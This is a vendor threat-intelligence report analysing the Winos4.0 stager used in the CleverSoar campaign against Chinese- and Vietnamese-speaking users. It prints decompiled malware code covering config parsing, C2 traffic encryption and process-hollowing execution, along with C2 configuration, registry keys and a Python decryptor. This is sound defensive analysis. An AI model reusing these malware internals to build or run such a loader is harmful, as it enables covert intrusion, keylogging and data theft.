Winos4.0 “Online Module” Staging Component Used in CleverSoar Campaign

READ NOW

Want to learn more on how to achieve Cyber Resilience?

TALK TO AN EXPERT

Adversaries don't work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire's Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here's the latest from our TRU Team...

What did we find?

In late November 2024, the eSentire Threat Response Unit (TRU) identified an ongoing campaign involving a new and highly evasive malware installer dubbed “CleverSoar” by Rapid7 Labs. CleverSoar has been found targeting primarily Chinese and Vietnamese-speaking users via malicious installer packages distributed through poisoned web search results. The installer package deploys the advanced post-exploitation toolkit Winos4.0 framework and the Nidhogg rootkit.

As previously reported by Rapid7 Labs, a custom backdoor was identified, however we have found this is in fact a staging component of the Winos4.0 framework named “上线模块” which translates to “Online Module”.

Re-engineered from Gh0strat, Winos4.0 framework integrates several modular components and has become an increasingly prevalent threat targeting Windows users. The control panel for Winos4.0 features a vast amount of functionality, enabled by numerous plugins and can be seen in Figure 1 below.

Figure 1 - Winos4.0 control panel

Upon execution, the Winos4.0 stager parses a hard-coded configuration that is slightly obfuscated (reversed). Each configuration value is delimited by the “|” character (Figure 2).

```
text "UTF-16LE", '|1:db|0:lk|0:hs|0:ld|0:ll|0:hb|1:pj|81.11.4202:zb|0'
text "UTF-16LE", '|.1:bb|默认:zf|1:lc|1:dd|1:3t|08:3o|1.0.0.721:3p|0:2t|'
text "UTF-16LE", '0008:2o|piz.thgiliwt.it:2p|0:1t|0008:1o|piz.thgiliw'
text "UTF-16LE", 't.it:1p|',0
```

Figure 2 - Stager config

The following table lists the configuration values that were identified in our analysis.

Key	Value	Description
p1	ti[.]twilight[.]zip	First C2 address
o1	8000	First C2 port
t1	0 (UDP)	First C2 communication protocol
p2	ti[.]twilight[.]zip	Second C2 address
o2	8000	Second C2 port
t2	0 (UDP)	Second C2 communication protocol
p3	127.0.0.1	Third C2 address
o3	80	Third C2 port
t3	1 (TCP)	Third C2 communication protocol
dd	1	Execution delay in seconds
cl	1	C2 communication interval in seconds
fz	默认 “default”	Group ID
bb	1.0	Version
bz	2024.11.18	Comment (Generation date)
jp	1	Keylogger
bh	0	End bluescreen
ll	0	Anti-traffic Monitoring

dl	0	Entrypoint
sh	0	Process Daemon
kl	0	Process Hollowing
bd	1	Unknown

If the registry value “HKEY_CURRENT_USER\Console\IpDate” is present, it is parsed and used rather than the hard-coded configuration described above (Figure 3).

```

Type = 3;
cbData = 0;
LODWORD(v0) = RegOpenKeyExW(HKEY_CURRENT_USER, L"Console", 0, 0x20019u, &hKey);
if ( !(_DWORD)v0 )
    LODWORD(v0) = RegQueryValueExW(hKey, L"IpDate", 0LL, &Type, 0LL, &cbData);
if ( cbData > 0xA )
{
    memset(wszMalwareConfig, 0, 0x7D0uLL);
    RegQueryValueExW(hKey, L"IpDate", 0LL, &Type, (LPBYTE)wszMalwareConfig, &cbData);
    sub_7FF655CE72A0(L"p1:", &pwszC2Address);
    sub_7FF655CE72A0(L"o1:", &pwszC2Port);
    v78 = lstrlenW(wszMalwareConfig);
    v79 = lstrlenW(L"t1:");
    v80 = 0;
    v81 = 0LL;
    if ( (int)v78 > 0 )
    {
        while ( 1 )
        {
            v82 = 0;
            for ( i2 = 0LL; i2 < v79; ++v82 )
            {
                if ( wszMalwareConfig[v81 + i2] != aT1[i2] )
                    break;
                ++i2;
            }
            if ( v82 == v79 )

```

Figure 3 - Update config if in registry

The stager then resolves the main C2 domain (p1) via the Windows API gethostname() and connects to the resolved address over UDP port 8000 using sockets. It is worth noting that TCP is also supported by the stager and packets look very similar.

Additionally, if after so many attempts communication fails with the main C2 server, the second and third servers are tried.

Figure 4 - Resolve C2 and connect

After the C2 is resolved and a connection is established over the port specified in the config (8000), the send function transmits the encryption key to the C2. This encryption key secures communications between the threat actor server and victim machine (Figure 4).

The first four bytes of the encryption key stream stem from a call to the Windows API `timeGetTime()`. The remaining bytes are hard-coded and vary between samples.

Source	Destination	Protocol	Length	Info
172.16.1.5	172.16.1.1	DNS	75	Standard query 0xf01d A ti.twilight.zip

Figure 5 - Exchange encryption key with C2

The algorithm used to encrypt/decrypt communication can be seen below in Figure 6, where each byte of the encryption key is transformed by a modulus with 0x1C8 and 0x36 is added to the resulting byte, then the byte is XOR'd with each byte of the request or response to encrypt/decrypt.

```

{
    v17 = 0;
    v18 = 0LL;
    for ( i = 0LL; v17 < (int)v6; ++i )
    {
        key_byte = *(_BYTE *) (v18 + a5);
        ++v18;
        *(_BYTE *) (i + *(_QWORD *) (a1 + 0x10)) ^= key_byte % -56 + 0x36;
        if ( v17 == 10 * (v17 / 10u) )
            v18 = 0LL;
        ++v17;
    }
}
*(_QWORD *) (a1 + 16) += v6;
return (unsigned int)v6;

```

Figure 6 - Encryption/decryption algorithm

The following python code can be utilized to encrypt and decrypt communications with the C2 (sample response data and encryption key are included). Associated python code is available for download [here](#).

```

c2_response_data =
b"\x91\xf6\x7a\x88\x38\x55\x36\x54\x36\x35\x37\xa6\x7a\xe7\x38\x55\x36\x50\x36\x65\x37\xf1\x7a\x88\x
38\x55\x36\x06\x36\x64\x37\xf0\x7a\xe7\x38\x55\x36\x07\x36\x30\x37\xa3\x7a\xb7\x38\x07\x36\x54\x36\x
33\x37\xa2\x7a\xe1\x38\x00\x36\x02\x36\x31\x37\xa5\x7a\xb1\x38\x36\x36\x36\x36\x00\x37\x95\x7a\x82\x
38\x36\x36\x36\x36\x00\x37\x95\x7a\x82\x38\x36\x36\x36\x36\x00\x37\x95\x7a\x82\x38\x36\x36\x36\x36\x
00\x37"
session_key = b"\x5f\x44\x4c\x02\x00\x00\x00\x00\xca\x01"
decoded = bytearray()

i = 0
for j in range(len(c2_response_data)):
    c = ((session_key[i % 10] % 0x1c8) + 0x36) % 0x100
    b = c2_response_data[j] ^ c
    decoded.append(b)
    i += 1
    if j == 0:
        i = 0

magic = decoded[0:1]
data = decoded[1:]
print(f"Magic: {magic}")
print(f>Data: {data}")

```

The next packet sent from the C2 to the stager is an MD5 of the final stage (Login Module).

The Login Module's entrypoint is then called as shown in the last line of the following figure. Although not configured to do so in this instance, the stager also supports executing the Login Module via the Process Hollowing technique [T1055.012] against the legitimate Windows system binary, "C:\Windows\System32\tracert.exe".

```

v2 = sub_7FF655CE6E70(dwSizeOfPayload);           // Get index of "denglupelzhi"
                                                // (Get login module configuration from config)
if ( v2 != -1 )
{
    memmove((char *)lpBuffer + v2, &Data, 0x12A0uLL); // Set login module configuration
    RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, 0x102u, &hKey);
    RegDeleteValueW(hKey, L"IpDates_info");
    RegSetValueExW(hKey, L"IpDates_info", 0, 3u, &Data, 0x12A0u);
    RegCloseKey(hKey);
    if ( al[0xA] )
    {
        v5[0] = 0LL;
        v5[1] = 0LL;
        *(_QWORD *)dwProcessId = 0LL;
        while ( 1 )
        {
            while ( !fnProcessHollow(dwSizeOfPayload, (__int64)v5) )
            ;
            while ( 1 )
            {
                v3 = OpenProcess(0x400u, 0, dwProcessId[0]);
                if ( !v3 || !GetExitCodeProcess(v3, &ExitCode) || ExitCode != 259 )
                    break;
                Sleep(0xBB8u);
            }
        }
    }
}
((void (*)(void))lpBuffer)();

```

Figure 10 - Delete/replace config and execute Login Module

```

        }
        else
        {
            return 0;
        }
    }
    return result;
}

```

Figure 11 - Process hollowing support in stager

The following table contains a list of all of the registry keys used by the stager and their associated purpose.

Registry Key\Value	Description
HKEY_CURRENT_USER\Console\lpDate	Config storage, used in place of hard-coded config
HKEY_CURRENT_USER\Software\lpDates_info	Config storage for final stage
HKEY_CURRENT_USER\Console\0\d33f351a4aeea5e608853d1a56661059	Storage for Login module (32-bit)
HKEY_CURRENT_USER\Console\1\d33f351a4aeea5e608853d1a56661059	Storage for Login module (64-bit)

What did we do?

- Our team of 24/7 SOC Cyber Analysts isolated the affected host to contain the infection.
- We communicated what happened with the customer and helped them with remediation efforts.

What can you learn from this TRU Positive?

- The CleverSoar campaign is a sophisticated threat targeting Chinese and Vietnamese speaking users that is primarily distributed via driver assistant and game optimization applications in web search results.
- Across the threat landscape, MSI installers have become increasingly prevalent for initial access, highlighting the need to monitor these file types more closely.

Recommendations from the Threat Response Unit (TRU):

- Ensure your organization has a corporate policy for acceptable use of corporate devices which prohibits the use of any unauthorized third-party software.

- Use a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) solution to detect and contain threats.
- Implement a Phishing and Security Awareness Training (PSAT) program that educates and informs your employees on SEO Poisoning attacks [T1608.006].

Indicators of Compromise
